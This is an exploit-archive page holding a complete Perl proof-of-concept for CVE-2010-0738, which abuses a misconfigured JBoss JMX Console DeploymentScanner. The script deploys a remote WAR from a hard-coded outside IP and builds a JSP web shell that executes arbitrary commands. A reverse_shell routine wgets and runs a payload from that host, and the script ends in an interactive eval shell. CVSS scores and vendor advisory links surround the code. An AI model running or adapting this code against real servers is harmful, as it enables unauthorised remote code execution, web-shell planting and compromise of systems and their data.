JBoss, JMX Console, misconfigured DeploymentScanner

2011.10.05
Credit: y0ug
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

#!/usr/bin/perl # Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner # Date: Oct 3 2011 # Author: y0ug <at> codsec.com # Version: # Tested on: Linux # CVE : CVE-2010-0738 # # POC against misconfigured JBoss JMX Console # It use the addUrl method in DeploymentScanner module # # More information # http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf # http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html # # You need to edit # $url_cmd to match the war payload url # $url_shell is your reverse shell url # ( only if you want to use reverse_shell("ip", "port") ) # # The JSP shell is not mine is available every where # I add a -b param that build the war contener to do this you need java # # Is a fast POC coded this morning for fun so maybe it don't cover all case/version # # Usage: # Build the war contener (need java) # ./jboss -b # Hack # ./jboss http://www.vuln.com:8080 use strict; use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request::Common qw(GET); use IO::Socket::SSL; use Cwd; # configuration section my $url_cmd = "http://78.46.149.64/cmd.war"; my $url_shell = "http://78.46.149.64/reverse.pl"; my $debug = 0; # 1 to switch to debug my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ". "Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'"; # Don't edit from here my $installed = 0; my $url; my $ua = LWP::UserAgent->new; $SIG{INT} = "sigtrap"; sub debug { if( $debug ){ print STDERR "debug: ", @_, "\n"; } } sub check_url { my $request = GET "$url/jmx-console/"; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, "\n"; return -1; } return 0; } sub sigtrap { if ( $installed ){ print " [*] Clean of $url in progress...\n"; clean_war(); } exit 1; } sub find_method_index { my $method = shift(@_); my $request = GET "$url/jmx-console/HtmlAdaptor?" . "action=inspectMBean&name=jboss.deployment" . "%3Aflavor%3DURL%2Ctype%3DDeploymentScanner"; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, "\n"; return -1; } my $page = $response->decoded_content; # Match a certain jboss version while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){ my $form = $1; if ( $form =~ /$method/ ){ if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){ debug("method $method at index $1"); return $1; } } } # Match another jboss version while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){ my $form = $1; if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){ debug("method $method at index $1"); return $1; } } # Match another jboss version while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){ my $form = $1; if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){ debug("method $method at index $1"); return $1; } } return -1; } sub is_installed_war { my $method_index = find_method_index("hasURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, "\n"; return -1; } my $page = $response->decoded_content; if ( $page =~ m{<pre>(.*?)</pre>}s ){ my $ret = $1; if ( $ret =~ /true/ ){ return 1; }else{ return 0; } }else{ print STDERR "error: occured during is_installed_war regex!\n"; return -2; } } sub install_war { if (is_installed_war == 1){ print " [*] Install canceled, already installed\n"; return 1; } my $method_index = find_method_index("addURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, "\n"; return -1; } my $page = $response->decoded_content; if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){ print " [*] ", trim($1), "\n"; return 0; }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){ print " [*] ", trim($1), "\n"; return 0; }elsif ( $page =~ m{</table>(.*?)</body>}s ){ print " [*] ", trim($1), "\n"; return 0; }else{ print STDERR "error: occured during install_war regex!\n"; return -1; } } sub clean_war { while(is_installed_war == 1){ if ( uninstall_war() < 0 ){ return -1; } } print " [*] Clean complete\n"; return 0; } sub uninstall_war { my $method_index = find_method_index("removeURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, "\n"; return -1; } my $page = $response->decoded_content; if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){ print " [*] ", trim($1), "\n"; return 0; }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){ print " [*] ", trim($1), "\n"; return 0; }elsif ( $page =~ m{</table>(.*?)</body>}s ){ print " [*] ", trim($1), "\n"; return 0; }else{ print STDERR "error: occured during uninstall_war regex!\n"; return -1; } } sub execute { my $cmd = shift(@_); print '$ ' . $cmd . "\n"; my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd}; my $response = $ua->request($request); if (!$response->is_success) { if ( $response->code == 404 ){ print STDERR "Command war contener is not installed!\n"; }else{ print STDERR $response->status_line, "\n"; } return -1; } my $page = $response->decoded_content; my $content = $page; if ( $content =~ m{<BR>(.*)</pre>}s ){ print trim($1) . "\n"; return 0; }else{ print STDERR "error: occured during exec regex!\n"; return -1; } } sub reverse_shell { my ($ip, $port) = @_; print " [*] reverse shell to $ip $port\n"; my $cmd = "wget -O /tmp/a $url_shell"; if ( execute($cmd) < 0 ){ return -1; } if ( execute("chmod +x /tmp/a") < 0 ){ return -1; } return execute("/tmp/a $ip $port"); } sub trim($){ my $string = shift; $string =~ s/^\s+//; $string =~ s/\s+$//; return $string; } sub setup { print " [*] Check url $url...\n"; if ( check_url() < 0 ){ print "Url $url not available!\n"; return -1; } print " [*] Try to install command war contener...\n"; return install_war; } sub check_cmd { my $t = 5; for( my $i = 1; $i <= $t ; ++$i ){ my $request = GET "$url/cmd/cmd.jsp"; my $response = $ua->request($request); if (!$response->is_success) { if ( $response->code != 404 ){ print STDERR $response->status_line, "\n"; return 0; } print(" [*] check_cmd $i/$t failed\n"); }else{ print(" [*] check_cmd $i/$t ok, gogogo!\n"); return 1; } if ( $i < $t-1) {sleep(15); } } return 0; } sub help { print "Help\n"; print " - Is a perl shell so you can call perl function\n"; print " > execute(\"id\") # execute the commande\n"; print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n"; print " > clean # remove the war contener from the server\n"; print " > check_cmd # loop until command available\n"; print " > install_war # install the war contener from url\n"; print " > exit # clean and quit\n"; print " > exitd # exit without cleaning\n"; } sub build_war { my $jsp_file = "cmd.jsp"; open( my $jsp_output, '>', $jsp_file ) or die("Can't open $jsp_file : $!"); print $jsp_output <<EOF; <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> EOF close($jsp_output); mkdir "WEB-INF"; my $xml_file = "WEB-INF/web.xml"; open( my $xml_output, '>', $xml_file ) or die("Can't open $xml_file : $!"); print $xml_output <<EOF; <?xml version="1.0" ?> <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4"> <servlet> <servlet-name>Command</servlet-name> <jsp-file>/cmd.jsp</jsp-file> </servlet> </web-app> EOF close($xml_output); system("jar cvf cmd.war WEB-INF/ $jsp_file"); unlink($xml_file); unlink($jsp_file); rmdir("WEB-INF"); print " [*] War contener is here ", getcwd, "/cmd.war\n"; print " [*] Upload it to your server and update script url\n"; } sub shell { do { print("> "); chop($_ = <STDIN>); if ( $_ eq "help" ) { help(); } if ( $_ eq "exitd" ) { exit 0; } elsif ( $_ ne "exit" ){ eval($_); } warn() if $@; } while ($_ ne "exit"); } if($#ARGV+1 != 1){ print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner\n"; print " [*] Date: Oct 3 2011\n"; print " [*] Author: y0ug <at> codsec.com\n"; print " [*] Version: 0.1\n"; print " [*] JSP shell url $url_cmd\n\n"; print " [*] Usage:\n"; print " Build the war contener (need java)\n"; print " $0 -b\n"; print " Hack\n"; print " $0 http://www.vuln.com:8080\n\n"; exit 1; } if($ARGV[0] eq "-b"){ build_war; exit 0; } $url = $ARGV[0]; $ua->agent($useragent); print " [*] JSP shell url $url_cmd\n"; if ( setup() < 0 ){ print " [*] Setup failed!\n"; exit 1; } $installed = 1; print " [*] Wait few minutes, times to JBoss to load the url\n"; print " [*] You can find the shell here too\n"; print " [*] $url/cmd/cmd.jsp\n"; if ( check_cmd() <= 0 ){ print " [*] ## Exploit certainly failed! ##\n"; print " [*] You can wait a little longer (run > check_cmd)\n"; }else{ print " [*] Congrats, is up!\n"; execute("id"); } shell(); print " [*] Clean of $url in progress...\n"; clean_war(); exit(0);

References:

https://rhn.redhat.com/errata/RHSA-2010-0379.html
https://rhn.redhat.com/errata/RHSA-2010-0378.html
https://rhn.redhat.com/errata/RHSA-2010-0377.html
https://rhn.redhat.com/errata/RHSA-2010-0376.html
https://bugzilla.redhat.com/show_bug.cgi?id=574105
http://xforce.iss.net/xforce/xfdb/58147
http://www.vupen.com/english/advisories/2010/0992
http://www.securityfocus.com/bid/39710
http://securitytracker.com/id?1023918
http://secunia.com/advisories/39563


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top